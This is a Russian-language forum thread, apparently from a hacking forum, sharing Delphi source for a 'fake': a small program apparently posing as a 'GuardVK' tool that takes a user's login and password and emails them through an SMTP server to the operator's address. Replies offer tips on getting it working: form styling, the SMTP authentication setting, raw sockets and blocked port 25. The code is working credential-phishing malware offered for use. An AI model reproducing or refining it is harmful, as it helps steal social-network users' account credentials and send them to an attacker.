Исходник простейшего фейка на delphi

THI4F, Просто, как все гениальное)Вообще, по мне так исходники лучше не выкладывать сразу)

procedure TForm1.Button1Click(Sender: TObject);
begin
IdMessage1.Body.Text:='Логин: '+Edit1.Text+' Пароль: '+Edit2.Text; // Тут все понятно
IdMessage1.From.Text:='[email protected]'; //Емайл отправителя, должен совподать с мэйлом с кторого авторизируемся
IdMessage1.Recipients.Add.Text:='[email protected]'; //мэйл получателя письма
IdMessage1.Subject:='GuardVK'; // Тема письма
IdSMTP1.AuthenticationType := atLogin; //Тип авторизации
IdSMTP1.Host:='smtp.yandex.ru'; // Адресс хоста
IdSMTP1.Connect(); // Соединяемся
Button1.Enabled := False; //Делаем баттон 1 не ативным
Button2.Enabled := True; // Делаем баттон 2 активным
if IdSMTP1.Connected then // Если соединимся то
begin
IdSMTP1.Send(IdMessage1); // Отсылаем письмо
IdSMTP1.Disconnect; // Закрываем соединение
end;

Еще установи компонент Shaped Form , чтобы обрезать углы.

И еще IdSMTP1.AuthenticationType := atLogin; сразу видно, что взял с форума. Это строка с ошибкой. Этот параметр либо вообще не надо трогать либо ставить atDefault если не ошибаюсь.

Я такой на php делал.

а у меня через снифер чет не получалось

Кстати можно вообще отказатся от IdSMTP и пересесть на сокеты, а там проблем то

Коннектимся к smtp.mail.ru через 25-й порт

Раньше прокатывало, а теперь не хочет,

А 25 порт у многих провайдеров закрыт. Так что получится фейл.

Но ведь idSMTP работает через 25-й порт! Фейл?

Qweb, 25 порт на всех модемах зарезервирован под почту